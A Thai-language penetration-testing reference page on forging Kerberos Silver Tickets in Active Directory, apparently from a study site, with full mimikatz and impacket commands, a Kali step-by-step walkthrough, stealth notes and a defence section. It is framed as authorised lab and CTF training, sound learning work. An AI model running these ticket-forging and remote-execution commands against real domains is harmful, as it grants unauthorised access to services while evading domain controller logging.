คลัง
active-directory

Silver Ticket

Silver Ticket คือการปลอม TGS (service ticket) ด้วย hash ของ service account/computer account — เข้าถึงเฉพาะ service นั้นได้โดยไม่ต้องคุยกับ DC ทำให้เนียนกว่า Golden Ticket มาก บทนี้ลงลึกกลไก, สิ่งที่ต้องเตรียม, SPN ของแต่ละ service, การสร้างและใช้, ความเนียน และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

Advanced#silver-ticket#active-directory#kerberos#tgs#service-account#stealth#ctf

1. หลักการ — ปลอม TGS ตรงไป service

ต่างจาก Golden Ticket (ปลอม TGT ที่ใช้ krbtgt), Silver Ticket ปลอม TGS (ตั๋วเข้า service เฉพาะ) ที่เข้ารหัสด้วย hash ของ service account ที่รัน service นั้น (หรือ computer account$ สำหรับ service บนเครื่อง) จุดสำคัญ: TGS ถูก service ตรวจเองโดยไม่ต้องถาม DC — ดังนั้นถ้ามี hash ของ service account เราปลอม TGS เข้า service นั้นได้ โดยไม่แตะ DC เลย ทำให้เนียนกว่า Golden Ticket มาก (ไม่มี log ที่ DC) แต่จำกัดเฉพาะ service ที่เรามี hash

เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาต (engagement/lab/CTF) เท่านั้น

2. สิ่งที่ต้องเตรียม

ต้องมีได้จากไหน
hash ของ service/computer accountKerberoast, DCSync, dump จากเครื่อง
Domain SIDwhoami /user, lookupsid.py
SPN ของ service เป้าหมายรู้จาก service ที่จะเข้า (ดู section 3)
username ที่จะปลอมเลือกเอง (เช่น Administrator)

hash ที่ใช้คือของบัญชีที่รัน service — ถ้าเป็น service บนเครื่อง (CIFS, HOST) ใช้ hash ของ computer account (ลงท้าย $) ซึ่ง dump ได้จากเครื่องที่ยึดแล้ว

3. SPN ของแต่ละ service

service ที่ต้องการSPN typeใช้ทำอะไร
CIFScifs/hostเข้าถึง file share (\\host\C$)
HOSThost/hostscheduled task, service ทั่วไป
HTTPhttp/hostWinRM, web service
MSSQLmssqlsvc/host:portเข้าถึง SQL Server
LDAPldap/hostoperation บน DC (ระวัง)
WSMAN/WinRMwsman/hostremote PowerShell
เลือก SPN ตามสิ่งที่อยากทำ — เช่น cifs/server เพื่อเข้า file share, mssqlsvc/server:1433 เพื่อเข้า SQL; ต้องมี hash ของบัญชีที่รัน service นั้น

4. สร้าง Silver Ticket

mimikatz (Windows)Windows
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local /service:cifs /rc4:SERVICE_ACCOUNT_NTLM /ptt

# /target  = FQDN ของเครื่องที่รัน service
# /service = ชนิด service (cifs/host/http/mssqlsvc/...)
# /rc4     = NTLM hash ของ service/computer account
# /ptt     = inject เข้า session

# ต่างจาก Golden: มี /target + /service, ใช้ hash ของ service (ไม่ใช่ krbtgt)
ใช้คำสั่ง golden เหมือนกันแต่เพิ่ม /target + /service และใช้ hash ของ service account แทน krbtgt
impacket (Linux)Linux
# สร้าง silver ticket (-spn ระบุ service)
ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain domain.local -spn cifs/server.domain.local Administrator

export KRB5CCNAME=Administrator.ccache
# ใช้เข้าถึง service นั้น
smbexec.py -k -no-pass domain.local/[email protected]
psexec.py -k -no-pass domain.local/[email protected]
-spn ระบุ service ที่จะปลอม TGS; ต้องตรงกับ service ที่มี hash

5. ความเนียน vs Golden

  • ไม่แตะ DC: Silver Ticket ตรงไป service — ไม่มี TGS request ที่ DC (ต่างจาก Golden ที่ขอ TGS จาก DC) = log น้อยกว่ามาก
  • จำกัดขอบเขต: เข้าได้เฉพาะ service ที่มี hash — ไม่ใช่ทั้งโดเมน (ต่างจาก Golden)
  • คงทน: valid จนกว่า service account เปลี่ยนรหัส (computer account เปลี่ยนทุก ~30 วันโดย default)
  • ใช้เมื่อ: มี hash ของ service/computer แต่ไม่มี krbtgt — หรือต้องการเนียนเข้าเครื่องเฉพาะ
  • PAC validation: ถ้าเปิด PAC validation (บางการตั้งค่า) service จะถาม DC — ลดความเนียน (มักปิด default)

6. การป้องกัน

  • เปลี่ยนรหัส service account สม่ำเสมอ (gMSA เปลี่ยนอัตโนมัติ) → ตัด Silver Ticket เก่า
  • เปิด PAC validation (ให้ service ตรวจกับ DC) — ลดการปลอม TGS
  • ปกป้อง hash ของ service/computer account (ป้องกัน Kerberoast/DCSync)
  • monitor การเข้าถึง service ที่ไม่มี TGT/TGS request คู่กันที่ DC
  • ใช้รหัสยาวสำหรับ service account → crack ยาก (กัน Kerberoast ที่นำไป Silver)

7. Quick Reference

  • ปลอม TGS ด้วย hash ของ service/computer account → เข้า service เฉพาะ
  • ไม่แตะ DC = เนียนกว่า Golden (แต่จำกัดขอบเขต)
  • ต้องมี: service/computer hash, domain SID, SPN, FQDN
  • Windows: mimikatz golden + /target + /service + /rc4:SERVICE_HASH
  • Linux: ticketer.py -nthash SVC -spn cifs/server ...
  • SPN: cifs(share), host(task), http(WinRM), mssqlsvc(SQL)
  • ป้องกัน: เปลี่ยนรหัส service, PAC validation, gMSA

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติมี hash ของ service/computer account (จาก Kerberoasting หรือ dump เครื่องที่ยึดได้) แต่ไม่มี krbtgt hash มีแค่ Kali ทำตามนี้ปลอม TGS เข้า service เฉพาะแบบเนียนๆ

  1. 1ยืนยันของที่มี: hash ของ service/computer account, domain SID, SPN ของ service เป้าหมาย, domain FQDN
  2. 2เลือก SPN ตามสิ่งที่อยากทำ (cifs=share, host=task, http=WinRM, mssqlsvc=SQL)
  3. 3สร้าง ticket: ticketer.py -nthash <SERVICE_HASH> -domain-sid <SID> -domain domain.local -spn cifs/server.domain.local Administrator
  4. 4ตั้งใช้งาน: export KRB5CCNAME=Administrator.ccache
  5. 5ทดสอบเข้า: smbexec.py -k -no-pass domain.local/[email protected] (เปลี่ยนตาม SPN ที่เลือก)
  6. 6ถ้าเข้าไม่ได้ตรวจว่า SPN ตรงกับ service จริงไหม (เช่นเลือก cifs แต่ hash เป็นของ HTTP)
  7. 7ถ้าต้องการเข้า service อื่นด้วย ทำ ticket ใหม่ทีละ SPN (silver ticket จำกัดแค่ service เดียว)
  8. 8ถ้า scope ไม่พอ (อยากได้ทั้งโดเมน) → ต้องมี krbtgt hash แทน (ไป DCSync/Golden Ticket ก่อน)
มี service hash → ปลอม TGS → เข้า service เฉพาะ
มี hash service/computer + SID + SPN เป้าหมายครบไหม
✅ ครบ→ สร้าง silver ticket
❌ ยังไม่มี hash service→ ไปหาด้วย Kerberoasting ก่อน
ticketer.py -nthash HASH -domain-sid SID -spn <spn> Administrator
✅ ได้ .ccache→ ทดสอบเข้า service ตาม SPN
❌ error→ ตรวจ SID/SPN format ใหม่
smbexec.py/psexec.py -k -no-pass domain/Administrator@target
✅ เข้า service ได้→ ใช้สิทธิ์นี้เก็บข้อมูล/pivot ต่อในเครื่องนั้น
❌ เข้าไม่ได้→ SPN อาจไม่ตรง hash — ลองเปลี่ยน service type
ลองเปลี่ยน SPN type (cifs/host/http) ให้ตรงกับ service ที่มี hash จริง
✅ ตรงแล้วเข้าได้→ สำเร็จ
❌ ยังไม่ได้ / ต้องการขอบเขตกว้างกว่า→ ต้องมี krbtgt แทน (Golden Ticket)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา service/computer hashimpacket (GetUserSPNs.py) / hashcat--
หา domain SIDimpacket (lookupsid.py)--
สร้าง Silver Ticketimpacket (ticketer.py)--
ใช้ ticket เข้า serviceimpacket (smbexec.py/psexec.py)--
sync เวลากับ DCntpdate / rdateapt install ntpdate-
ยืนยัน creds เดิมnetexec (crackmapexec)apt install netexec-
🚑 ถ้าตันสนิท ลองท่าถัดไป: Kerberoasting (หา service hash ก่อน) · Golden Ticket (ถ้าต้องการขอบเขตกว้างกว่าและมี krbtgt) · DCSync (หา hash เพิ่มถ้ามีสิทธิ์) · ACL Abuse (หาเป้า service account ผ่าน ACL edge)

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้